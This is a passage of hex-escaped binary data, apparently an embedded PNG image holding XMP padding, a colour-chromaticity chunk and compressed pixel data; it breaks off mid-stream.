\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
\x20\x20\x20\x0a\x3c\x3f\x78\x70\x61\x63\x6b\x65\x74\x20\x65\x6e\
\x64\x3d\x22\x77\x22\x3f\x3e\x8e\xa7\xed\xc1\x00\x00\x00\x20\x63\
\x48\x52\x4d\x00\x00\x7a\x25\x00\x00\x80\x83\x00\x00\xf9\xff\x00\
\x00\x80\xe8\x00\x00\x52\x08\x00\x01\x15\x58\x00\x00\x3a\x97\x00\
\x00\x17\x6f\xd7\x5a\x1f\x90\x00\x00\x45\xaf\x49\x44\x41\x54\x78\
\xda\xec\xbd\x5f\x90\x5c\x57\x9d\xe7\xf9\x3d\x99\x59\x99\x59\x25\
\xcb\x86\xee\xc6\x80\x04\x3d\x4d\x1b\x4d\x1b\x68\x8b\x6e\x2c\x77\
\x63\xb0\x0c\x9a\x71\x35\xb8\x86\x61\xf6\xc1\xb0\x13\x33\x2f\x13\
\x81\x6d\xc9\x85\xd5\xb3\xfb\xe0\x97\x7d\xd9\x87\x7d\x5b\x3d\x6c\
\x44\x0b\x24\xcb\x76\x47\xec\xbe\xec\x03\xea\x89\x98\x20\xdc\xe5\
\xde\x2d\x6f\x88\xb0\x3c\xcd\x80\x65\x58\x44\xf3\xc7\x5d\xfc\x35\
\xb6\xc0\x34\x30\xc6\xb2\xaa\x2a\xab\x2a\xf3\xcc\x43\xde\x9b\x75\
\xf2\xe6\xcd\xcc\x7b\x33\xef\xcd\x3f\xf7\x7c\x3e\x8e\x13\x96\x4a\
\x55\x59\x95\xa7\xee\xbd\x9f\xf3\x3d\xf7\xdc\xf3\x2b\x59\x6b\x45\
\xa3\xd1\x68\x34\x1a\xad\xb8\xad\x24\x00\x00\x00\x28\x34\xc8\x1e\
\x00\x00\x00\xd9\x03\x00\x00\x00\xb2\x07\x00\x00\x00\x64\x0f\x00\
\x00\x00\xc8\x1e\x00\x00\x00\x90\x3d\x00\x00\x00\x20\x7b\x00\x00\
\x00\x40\xf6\x00\x00\x00\xc8\x1e\x00\x00\x00\x90\x3d\x00\x00\x00\
\x20\x7b\x00\x00\x00\x40\xf6\x00\x00\x00\x80\xec\x01\x00\x00\x00\
\xd9\x03\x00\x00\x00\xb2\x07\x00\x00\x40\xf6\x00\x00\x00\x80\xec\
\x01\x00\x00\x00\xd9\x4f\x96\x4f\x7f\x6a\xe5\x17\x9f\xfe\xd4\x8a\
\xfd\xf4\xa7\x56\x44\x1b\xdc\x00\x00\x00\xd9\xcf\x2b\x6f\x0f\xfe\
\x6f\xfb\x34\x90\xf4\xe5\xa7\xd7\xe8\x04\x00\x00\x64\x5f\x58\x18\
\x00\x00\x00\x00\xb2\xf7\xf0\x3d\x7b\x35\x0b\x40\xaa\x07\x00\x00\
\x16\xe8\x15\x78\x16\x00\xd1\x03\x00\x00\xb2\x67\x16\x00\x00\x00\
\x90\x3d\xcc\xeb\x2c\x00\xa9\x1e\x00\x00\x90\x3d\xb3\x00\x00\x00\
\x80\xec\x61\x5e\x67\x01\x48\xf5\x00\x00\x80\xec\x99\x05\x00\x00\
\x00\x64\x0f\xf3\x3a\x0b\x40\xaa\x07\x00\x00\x64\x0f\x00\x00\x80\
\xec\x61\x5e\x21\xd5\x03\x00\x00\xb2\x07\x00\x00\x40\xf6\x00\x00\
\x00\x80\xec\x61\x26\x61\x0a\x1f\x00\x00\x90\x3d\x00\x00\x00\xb2\
\x07\x00\x00\x00\x64\x0f\x33\x09\x53\xf8\x00\x00\x80\xec\x01\x00\
\x00\x90\x3d\x00\x00\x00\x20\x7b\x00\x00\x00\x40\xf6\x30\x79\xb8\
\x5f\x0f\x00\x00\xc8\x1e\x00\x00\x00\xd9\x03\x00\x00\x00\xb2\x07\
\x00\x00\x00\x64\x0f\x00\x00\x00\xc8\x1e\x00\x00\x00\x90\x3d\x00\
\x00\x00\x20\x7b\x00\x00\x00\x40\xf6\x00\x00\x00\x80\xec\x0b\x01\
\x1b\xea\x00\x00\x00\xb2\x07\x00\x00\x00\x64\x0f\x00\x00\x80\xec\
\x01\x00\x00\x00\xd9\xc3\x74\xf8\xf4\xa7\x56\xe8\x04\x00\x00\x40\
\xf6\x00\x00\x00\xc8\x1e\xe6\x16\x56\xe3\x03\x00\x00\xb2\x2f\x38\
\x4c\xe3\x03\x00\x00\xb2\x27\xd9\x03\x00\x00\x20\x7b\x00\x00\x00\
\x64\x0f\x33\x0b\xd3\xf8\x00\x00\x80\xec\x0b\x0e\xd3\xf8\x00\x00\
\x80\xec\x01\x00\x00\x00\xd9\x03\x00\x00\x20\x7b\x98\x59\xb8\x67\
\x0f\x00\x00\xc8\x1e\x00\x00\x00\x90\x3d\xe9\x1e\x00\x00\x90\x3d\
\x00\x00\x00\x20\x7b\x00\x00\x00\x40\xf6\x00\x00\x00\x80\xec\x01\
\x00\x00\x00\xd9\x03\x00\x00\x00\xb2\xf7\x11\x56\xe4\x03\x00\x00\
\xb2\x07\x00\x00\x40\xf6\x00\x00\x00\x80\xec\x01\x00\x00\x00\xd9\
\xc3\xf4\xe0\xbe\x3d\x00\x00\x20\x7b\x00\x00\x00\x64\x0f\x00\x00\
\x00\xc8\x1e\x66\x1a\xa6\xf2\x01\x00\x00\xd9\x03\x00\x00\x20\x7b\
\x00\x00\x00\x40\xf6\x30\xd3\x30\x95\x0f\x00\x00\xc8\x1e\x00\x00\
\x00\xd9\x03\x00\xcc\x26\xcb\xcb\x27\xe8\x04\x00\x64\x0f\x00\x45\
\x17\xfd\xf2\xf2\x09\xa4\x0f\x80\xec\x01\xc0\x17\xf9\x23\x7e\x00\
\x64\x0f\x00\x05\x4b\xf5\x71\xac\xaf\x5f\xa2\x83\x00\x90\x3d\x00\
\xcc\x3b\xeb\xeb\x97\xba\x5a\x9c\xe8\x97\x97\x4f\x98\xe5\xe5\x13\
\x26\xfc\xfb\x27\x3f\xf9\x2f\xb5\xb2\x7a\x26\x97\x81\x47\x9a\x96\
\xe6\x75\x00\x90\x3d\x00\x40\x20\xf5\x40\xf2\x26\x14\xfc\xca\xea\
\xff\x7e\x64\xe1\xbd\xf7\xdf\xb9\x70\x64\xe5\x9e\x95\xd5\x33\x5a\
\x59\x3d\xa3\xd2\x1f\x7e\x52\x92\x14\xfe\xbd\x5f\x4b\x2b\xf8\x90\
\x85\x23\x2b\x9d\xd6\x07\x23\xa9\xb2\xbc\x7c\x62\xc1\x69\x95\xe0\
\x67\x4e\x34\x00\x00\x40\xf6\xd0\x17\x9e\xb5\x87\x82\xa7\x7c\xeb\
\x26\x78\x49\x65\x59\xdd\x29\x63\x3e\x26\xe9\xdf\x49\xfa\xbf\x25\
\x5d\x94\xf4\x2d\x49\x5f\x95\xf4\x9f\x13\x88\xdc\x04\x22\xee\x12\
\xf3\x27\x3e\xf1\x2f\x4b\x29\x05\xef\x5e\x5b\x17\x83\x56\x0b\xda\
\x82\xa4\x96\x24\x9b\x76\x16\x01\x00\xd9\x03\x80\x77\xc9\x3e\xf2\
\x21\x2b\xa3\xb7\x4b\xfa\x13\x49\xc7\x24\xfd\x0f\x92\x1e\x90\x74\
\x87\xa4\xbb\x24\xdd\x2f\xe9\x4d\x49\xaf\x4b\x7a\x4d\xd2\xcb\x92\
\x36\x24\x7d\xd7\x11\xb8\x5d\x38\xb2\x72\xd1\x18\x53\x95\x54\x37\
\xc6\xd4\x96\x96\x96\x24\xa9\x95\x42\xf0\xee\x75\xf5\x80\xa4\x6a\
\xf0\xe7\x72\xf0\xf1\xed\x40\xf6\x5d\x0c\x7b\x5d\xd6\x24\x00\xb2\
\x07\x00\xef\x59\x38\xb2\xf2\x67\x92\xf9\x67\x92\xfe\x45\x20\xfb\
\xc5\xe0\x9f\x4c\x20\xda\x6a\x20\xdf\x5b\x24\xdd\x2a\xe9\xdd\x92\
\x6e\x93\x74\xbb\xa4\x66\xd8\xac\x6d\x7d\xa2\x72\xdb\x27\x7e\xb4\
\x70\xe4\xfe\x6f\x54\xde\x7b\xff\x9b\xbb\x87\x3f\xbe\x57\xbe\xed\
\x93\xa3\x5c\x53\x6f\x0a\xbe\xaf\x0d\x7e\x86\x66\x30\xd8\x68\x45\
\x25\x3f\x44\xf4\x46\xce\xad\x8a\x70\x90\x43\xda\x07\x64\x0f\x00\
\x85\x4f\xf5\xeb\xeb\x97\xac\xdb\xd4\x9e\xaa\xff\x9c\xa4\x43\x29\
\x5e\xca\x04\xad\x14\x36\x63\x4a\x8b\x32\xa5\x5b\x25\xf3\xde\x40\
\xd4\xd1\x36\x8c\x8a\xa4\x83\xc1\xeb\x5a\x49\x25\x6b\xed\x4e\x20\
\xfa\x34\x92\x77\x07\x2a\x25\xe7\xef\x00\xc8\x1e\x00\xbc\x94\x7f\
\xf8\xc7\x9b\x27\xf0\xed\x6c\xbf\x41\x40\x20\xf0\xbd\x85\x23\x2b\
\xff\xd5\x18\xd3\x94\xa4\x4a\xa5\xd2\x38\x78\xf0\xa6\xad\x9b\x6e\
\x3a\xa0\x94\xb7\x02\x8c\xda\xf7\xf8\x2b\xc1\x35\xda\x48\xb2\xc1\
\x5a\x85\xb8\xf7\x0e\x80\xec\x01\xa0\x38\xa9\xbe\x8f\xe8\xa7\x4d\
\x47\xfc\xd6\xb6\xde\x5b\xb9\xed\x13\x3f\x5b\x38\x72\xff\x8b\xe6\
\x3d\x7f\xb1\xd9\x78\xe7\xc7\x6c\xe3\x9d\x1f\x4b\xf3\x5a\xe5\x60\
\x76\x60\xc1\x99\x79\x30\x92\x6c\xf4\xfd\x2e\x1c\x59\x41\xf8\x80\
\xec\x01\xa0\xf8\x89\x3e\xc5\xa2\xb9\x89\x60\x4c\xa9\x22\x53\x7a\
\x8b\x64\x6e\x53\xfa\x5b\x01\x15\x49\x4b\xda\xbf\xc5\xb0\x60\xad\
\x95\xda\xf7\xfc\xe5\xcc\x20\x74\xbd\x6f\x84\x0f\xc8\x1e\x00\x0a\
\x2b\xfa\x39\x25\xf6\x56\x80\x73\x1b\xe0\xfa\xc2\x7b\xef\xff\xad\
\x31\x66\xcf\x18\xb3\x73\xcb\x2d\x37\xef\xdc\x7c\xf3\xc1\xa1\xb7\
\x00\x58\xb4\x07\xc8\xde\x53\x78\xd6\x1e\x0a\x48\x57\x3a\x8e\xc8\
\xef\xb7\x05\x79\x6f\x56\x52\xb3\x7c\xdb\x27\x7e\x5e\x79\xef\xfd\
\xbf\xdc\x7a\xfb\x71\xbb\xf5\xf6\xe3\xfc\xe6\x01\xd9\x03\x80\x9f\
\x69\x7e\x77\x63\xad\xd3\x24\xdb\x28\xcc\x9b\x35\xa6\x64\x4c\xe9\
\x66\xb5\xef\xdd\xbf\x2e\xe9\x17\x92\xbe\x23\xe9\x7f\x92\xf4\x69\
\x49\x77\xc6\x7d\x19\xcf\xe3\x03\xb2\x07\x80\x42\x89\xbe\x47\x72\
\xb6\xb0\x8f\xa6\xdd\xa2\xf6\xbd\xfc\x9a\xa4\xbb\xd5\xde\x30\xe8\
\x7f\x94\x74\xdf\xda\xb9\xc7\x62\xeb\x05\x00\x20\x7b\x00\x28\x9e\
\xe8\x8b\xcf\xef\x4a\xfa\x3d\x49\x1f\x90\xf4\x3e\x49\x1f\x0c\xc4\
\x3f\xb4\xef\xb8\x8f\x0f\xc8\x1e\x00\x10\xfd\x7c\x25\xfc\x0f\x48\
\xfa\x7d\x49\xef\x94\x74\xef\xa0\x22\x3e\x3c\x8f\x0f\xc8\x1e\x00\
\x10\xfd\xfc\x72\x48\xed\x3d\xff\xef\x4b\x93\xe6\x11\x3e\x20\x7b\
\x00\x98\x1b\xd1\xf7\xbd\x3f\x6d\x92\x57\x92\x2b\x0a\x6b\xe7\x1e\
\x4b\xfc\xb9\xdc\xd3\x07\x64\x0f\x00\x73\x23\xfa\xe5\xe5\x13\x5c\
\xb3\x52\xf6\x1d\xa2\x07\x64\x0f\x00\x53\x95\x93\x3b\xed\x9c\x40\
\xf4\xa6\xef\x35\xcb\xfa\x5b\x28\x66\xd0\x42\x3c\x44\x0f\xc8\x1e\
\x00\xe6\x29\xd1\x87\x5b\xc8\x42\xca\x7e\x8b\xa9\x29\xd0\xb7\x6c\
\x2e\xf7\xf6\x91\x3d\x00\xc0\x44\x24\xd5\x27\x99\xba\xe5\x68\x7b\
\x5f\xc3\x68\xd7\xb7\x3e\x1c\xb4\x1a\x3f\xd2\x6f\x5d\xa2\x8f\x7c\
\x5e\x4f\x81\x1d\xa4\x8f\xec\x01\x00\x26\x86\x3b\x05\xbd\xbe\x7e\
\xa9\xa5\xf6\x56\xb2\xbb\xae\xe8\x97\x97\x4f\x04\xd2\x33\x87\x7c\
\xec\xa3\xb8\x3d\xf3\xfb\x4d\xdd\x87\xa2\x5f\x5f\xbf\x64\xc3\x86\
\xd4\x91\x3d\x00\xc0\xd4\x52\x7d\x54\x58\x81\xa8\x5a\x08\xaa\x97\
\xf6\x76\xc1\x7d\x45\x6f\x23\x89\xbe\x6b\xea\x3e\x69\xff\x03\xb2\
\x07\x00\x18\x4b\xf4\x51\xb1\xf4\x13\x4d\x54\xf4\xc3\x2a\xc1\xf9\
\xc6\x00\x41\x1b\xa7\x69\xd0\x80\x89\xad\x77\x91\x3d\x00\xc0\xd4\
\x84\x45\xa2\x1f\x9c\xea\x07\x08\xba\xa4\xee\xfb\xf6\x99\xf4\x23\
\xbf\x0b\x64\x0f\x00\x90\x4a\x10\xcb\xcb\x27\x7a\x12\x65\xdc\x4a\
\x71\x17\x12\x7d\xa2\x44\xef\x26\x7b\xb7\x84\x6e\xdf\xcf\x8b\x2e\
\xe0\x43\xf8\xc8\x1e\x66\x9c\x2f\x3f\xbd\x46\x27\xc0\xcc\x8b\xbe\
\x9f\xac\x58\x40\x96\x2c\xd5\x27\x14\x7d\x27\xd5\xf7\xeb\xff\xa0\
\xd9\xf5\xf5\x4b\x76\xd8\xef\x31\xba\xef\x3e\xbf\x23\x64\x0f\x00\
\x30\xf2\x42\xb0\x7e\x5f\x47\xaa\x4f\xd5\x0f\x46\x52\x6b\x48\xa2\
\x07\x64\x0f\x00\x30\x3b\xa2\x87\x7d\x12\xee\x8d\xdf\x0c\x64\x9f\
\xfa\x77\x30\x28\xd1\x8f\xf2\x1a\x80\xec\x21\x07\x3e\xfd\x29\xd2\
\x0f\xcc\x2e\x39\x88\xfe\xd7\xf4\x6a\x2c\xad\x7e\xfd\x9f\x46\xf4\
\xe3\xbe\x06\x20\x7b\xc8\x09\xee\xd9\x43\x51\x45\xbf\xbb\xb1\xd6\
\xd3\x24\xdb\xa4\x67\x93\xf7\xa5\x5b\x50\x28\xcd\xa2\xbc\x51\x7f\
\x0e\x66\x6a\x90\x3d\x00\x14\x54\x34\x49\x9e\xa9\xcf\x20\xd1\xb7\
\x5f\x93\x42\x38\x3d\x6d\x00\xe5\x50\xf8\x83\x44\x9f\xc5\xd4\x7d\
\xdc\x62\x3e\xc4\x8f\xec\x01\xa0\xc0\x89\x32\x37\xd1\x7b\xca\xca\
\xea\x99\xb4\xfd\x66\x02\xd1\x87\x75\x06\xdc\x4d\x76\x7a\x0a\xe3\
\xf4\xeb\xef\x2c\xa6\xff\x01\xd9\x03\x00\xa2\x47\xf4\xf9\xd0\x25\
\x79\x05\xab\xf4\x83\xfe\xb7\x92\x86\x3e\x7a\x97\xe7\x71\x30\x68\
\xb6\x02\x90\x3d\x00\xcc\x88\xe4\xd3\x5e\xe0\xc7\xb9\x90\x23\xfa\
\x36\x29\xb6\x0c\x2e\x45\xae\xf7\xb1\x8f\xe3\x65\x3d\x75\x9f\xd5\
\xd7\x23\x7c\x64\x0f\x00\xb3\x9d\xe6\x4d\xd6\x69\x3e\x56\x1a\xc6\
\xef\xe7\xc8\x07\x08\xdf\x48\x5a\x08\x5a\x39\x68\x56\x03\x1e\xc7\
\x4b\x2a\xea\xb8\x81\xc1\xb4\x07\x0a\x80\xec\x01\x60\xf2\xa2\x0f\
\x3f\xc7\xb8\x7f\x1e\x47\xf4\xfd\x17\x94\x19\x56\xe3\xc7\x53\x93\
\x54\xd5\xfe\xf4\xfd\x5e\xd0\xc6\x16\x7d\x54\xfa\x79\x89\x1a\xd1\
\x23\x7b\x00\x98\xa2\xe4\x93\x5c\xdc\x9d\x6d\x6f\x43\x49\x8f\x94\
\xc0\x07\x89\xfe\x2f\xfe\xe2\x84\x24\xbd\xdd\xe7\xdf\x87\x5b\xe6\
\x36\xf2\x7b\x58\x08\xfa\x3c\xdc\x49\xaf\x99\xb6\xdf\x93\x0e\xf0\
\xc6\x4d\xf4\x69\x9f\xde\x48\x7a\x3c\x02\xb2\x07\x80\x0c\xd3\xbc\
\x7b\x71\x8e\x8a\x79\x9c\x7d\xee\x03\xd1\x97\xfa\xfd\x2c\x95\xf7\
\xae\x70\x2d\x8b\xf4\x97\x23\xc9\x70\x05\x7e\x4b\xd2\x4e\xdc\x60\
\xeb\x33\x57\xaf\x4c\x55\xf4\x59\x0c\x14\x46\xf9\xf9\x90\x3d\x00\
\xc0\x08\xe9\x29\x9a\xe8\x47\x95\x44\x1a\xd1\x43\x7c\xaa\x77\x30\
\x41\x9a\xdf\x8e\xfb\xc7\x7e\xa2\x57\xca\x0a\x78\xe3\x88\x7e\xdc\
\x44\x0f\xc8\x1e\x00\x72\x4e\xf2\x11\x29\x67\xbe\x18\xcf\x79\x4d\
\xe3\x5e\xaf\xc2\xd7\xa4\x28\xce\x50\x49\xee\x5a\x6b\xb7\xac\xb5\
\xb2\xd6\x76\x04\x1f\xb6\x01\x03\x04\xe3\x0a\x3f\xcd\x34\x39\xa2\
\x47\xf6\x00\x30\x87\x92\x1f\x74\xf1\x0d\xa7\x8c\xf3\x10\x7d\x44\
\xf2\x86\x8b\xfc\xe0\x54\xdf\xe7\xf7\xb4\xa9\x60\xea\xfe\xb3\xdf\
\x7e\x71\x90\xe0\xa3\xfd\xdd\x79\x54\xaf\x5f\x7f\xc7\xbd\xd6\xa0\
\xc7\x2c\xd3\x8a\xde\xdd\xe4\x27\xe9\x71\xc5\x62\x3e\x64\x0f\x00\
\x23\xa6\xad\x61\x8b\xa7\x96\x97\x4f\x98\xb8\x5a\xe8\xe3\x8a\xde\
\x99\xbe\x6f\xa9\xbd\xe1\x4b\x53\xce\x3d\x67\x52\x7d\xf7\x80\xab\
\xdf\xef\xf1\xb3\xdf\x7e\x51\x9f\xfd\xf6\x8b\x49\x7d\x50\xd7\xfe\
\x2e\x7b\x5a\x5f\xbf\x64\xdd\x59\x01\x77\x66\x60\x9c\xf4\x3e\xec\
\xd8\x88\x3e\xc1\x11\xf9\x3f\xa2\x47\xf6\x20\x51\x04\x07\x46\x13\
\x7c\x34\xc9\x07\x89\x7d\xe8\x85\x35\x6e\xd7\xb5\x71\xa7\xee\x83\
\x0b\xbb\xfb\xba\x2d\x12\x7d\x3a\xac\xb5\x69\xa4\x5c\x93\xb4\x14\
\xfc\xb9\x62\x8c\x29\x4b\xda\xbb\xef\xbe\x8f\xcb\x9d\x15\x18\xb4\
\x98\xcf\xfd\xdd\x0d\x12\xf3\x80\x81\x63\xe7\xeb\xa2\x83\x47\x44\
\x8f\xec\x01\x60\x4c\xc1\x2f\x2f\x9f\x70\xd3\xf4\x50\x61\x47\x2f\
\xac\xd1\xa9\xd6\x0c\xee\xd1\x87\x4d\x41\xa2\xef\xd9\xed\x8d\x54\
\xdf\x9e\xc2\xef\x97\xe8\xef\xbb\xef\xe3\x6e\x9a\xb7\x31\xcd\xfd\
\xb7\x1f\x3c\x70\xf5\xca\xf7\x1f\xb8\x7a\xe5\x9b\x0f\x5c\xbd\x72\
\xf9\x33\x57\xaf\xfc\x27\x49\xdb\x9f\xb9\x7a\x65\xe8\xac\x40\x8c\
\xfc\x3b\x6b\x2b\x92\xce\x10\xc5\x1d\x43\xce\xc7\x4c\xe4\x67\x45\
\xf4\xc8\x1e\x00\xd2\x88\x7e\xd8\xbf\xc7\x5d\x44\x07\x6f\x6c\x93\
\xd9\x62\x3c\x57\x48\x96\x44\x1f\x4f\xdc\x80\xc7\x9d\xba\x1f\x24\
\xc8\x48\x1f\xdf\x66\xa4\x3f\x30\xd2\x7b\x8d\x74\xa7\xa4\xfb\x1f\
\xf8\xd6\x0b\xe1\xe7\xfd\x26\xc1\x8f\x52\x5e\x5e\x3e\x51\x59\x5e\
\x3e\x51\x09\x9c\xd2\x19\x9c\xc5\x2d\x06\x8c\x99\x21\x28\xc5\xbc\
\x8f\x92\xba\x8b\xf6\x20\x7a\x64\x0f\x51\x3e\xfd\x29\x52\x4f\x11\
\xc5\x3c\x6c\x45\x74\xd2\x15\xd3\x49\x44\x1f\xf7\x79\xfd\x76\xc5\
\x0b\x9f\xa1\x1f\x45\xca\x71\x0b\xfc\x9c\x29\x5c\x9b\x54\x72\x3e\
\xb2\x76\xee\xb1\x81\x69\xfb\xe1\xd7\xae\x8f\xfa\xd2\xee\x0c\xc0\
\x5b\xfb\xcc\x08\x48\xd2\x79\x49\xff\xdb\x03\x57\xaf\x9c\x79\xe0\
\xea\x95\xff\xf5\x81\xab\x57\xfe\x97\xcf\x5c\xbd\xf2\xc7\x92\x6c\
\xdc\x94\x7f\x9f\xdb\x00\x95\xa0\x85\x5b\xf9\x9a\xe5\xe5\x13\x55\
\xed\xef\xfa\x27\xf5\xd9\xda\x97\x0d\x77\x90\x3d\x40\x61\x24\x1f\
\x26\xec\x01\xd3\x9f\xb1\xf7\xdb\x93\x08\x36\x22\xef\xa1\x5f\x93\
\x47\x9a\x0f\x07\x0e\xa1\xe0\xc3\xfb\xb4\x5c\x9c\xb3\x9f\xad\xc9\
\x08\x57\xfc\x0f\x4b\xfa\x8f\x46\xfa\x77\x46\xfa\xf7\x46\x3a\x29\
\xe9\xff\x0f\x84\xfe\x95\x04\xaf\xe5\x4a\xbd\x12\xbc\xe6\xa2\xf6\
\xb7\xf8\xad\x1b\x63\x3a\xb3\x04\xd5\xea\xc2\x48\xa2\x47\xfa\xc8\
\x1e\x60\x2e\x2e\xdc\xfd\x16\x39\x0d\x4a\xde\x83\x06\x05\x49\x92\
\xfb\xa0\x8f\x67\x21\xe5\x61\x0b\xfc\x46\xe0\x35\xdf\x07\x85\x53\
\xf2\xc7\x41\xb5\xb7\x2a\x7e\x8f\xa4\x43\xce\x40\xe0\x63\xea\xbf\
\x4e\xe0\xff\x93\xf4\xb7\x0f\x5c\xbd\xb2\xfe\xc0\xd5\x2b\x7f\xfb\
\xc0\xd5\x2b\xeb\x9f\xb9\x7a\xe5\xab\xc6\x98\x7a\x20\xfd\x92\x31\
\xc6\x1c\x38\xb0\x74\x23\x2b\xd1\x4f\x61\x50\x84\xec\x01\x60\xbc\
\x0b\x77\xda\x8d\x48\x92\xae\x88\xce\xe2\x75\xd3\x8a\x7e\x94\xf7\
\xbf\xbb\xb1\xd6\xd3\x24\x6b\x7c\x3d\x5e\x5c\xd2\x3c\x12\x37\x05\
\x42\xe9\xff\x0b\x49\x2b\x46\xba\xd7\x48\x1f\x37\xd2\x3d\x92\xde\
\xff\xc0\xb7\x5e\xf8\xf9\x03\x57\xaf\xfc\xe3\x03\x57\xaf\xfc\xc3\
\x03\xdf\x7a\xe1\xb7\x2b\x5f\x7d\xae\xf9\xc0\xb7\x5e\x18\xe9\x3d\
\x31\x33\x84\xec\x01\x0a\x45\xdf\x92\xaf\x09\xe5\x3a\x8e\x94\xb3\
\x7c\xcd\x71\xab\xe1\xc9\xca\x3b\xd9\xaf\xac\x9e\x29\xd2\xdb\xa9\
\x4a\x3a\x68\xa4\x5b\x8d\xf4\xae\x3e\x33\x02\xa5\x24\xc7\x32\xa2\
\x47\xf6\x00\x33\x9d\xe6\xd3\x5e\xa4\x86\x5d\xf8\x46\x7d\xdd\x69\
\x88\x5e\x63\x54\xc3\xf3\x99\x85\x23\x2b\x9d\x05\x8b\x33\x9e\xea\
\xc7\x9a\x11\xf8\x37\x57\xbe\xaa\x4f\x5f\xf9\xea\x4b\x88\x1e\xd9\
\x03\xcc\xad\xe4\xf3\x90\xdc\x38\x17\xbd\x49\x88\x3e\xb2\x15\x2a\
\xa2\xcf\x40\xfa\x05\xc7\x1a\xe9\xc8\x28\xc7\x7c\xcc\x9a\x13\x64\
\x0f\x00\x93\x13\x7d\x1e\x32\x9e\x65\xd1\x67\x5d\xf6\x16\xbc\x63\
\x07\xd1\x23\x7b\x88\xc0\xb3\xf6\xc5\x15\x7d\x74\x4b\xd2\xac\x84\
\x3c\xa8\x88\x49\x96\x89\x7e\x1c\xd1\xf7\xfd\x39\x8d\xac\xef\xc7\
\xd5\xc5\xa3\xc7\xba\x5a\x11\x27\x30\x10\x3d\xb2\x07\x28\x3c\xa1\
\xe8\xfb\x3d\xaa\x96\xd7\xea\xf8\x2c\x67\x09\xc6\x79\x64\x2f\x78\
\xff\x95\xf8\x7f\x35\x4d\x9f\x8f\x8d\x68\x4d\x7b\x5f\xc4\x86\xe8\
\x91\x3d\x40\x21\x45\xef\xa6\xe3\x3c\x92\xf7\xac\x8a\x5e\xed\x9d\
\xd5\x16\xd4\x7e\x0e\xbb\x8b\x60\x55\xfa\x3b\x39\x4a\x10\x1b\xef\
\x1f\xd9\x03\xcc\xed\x85\xcb\x4d\xf4\x6e\xaa\x4f\x32\x15\x3e\xac\
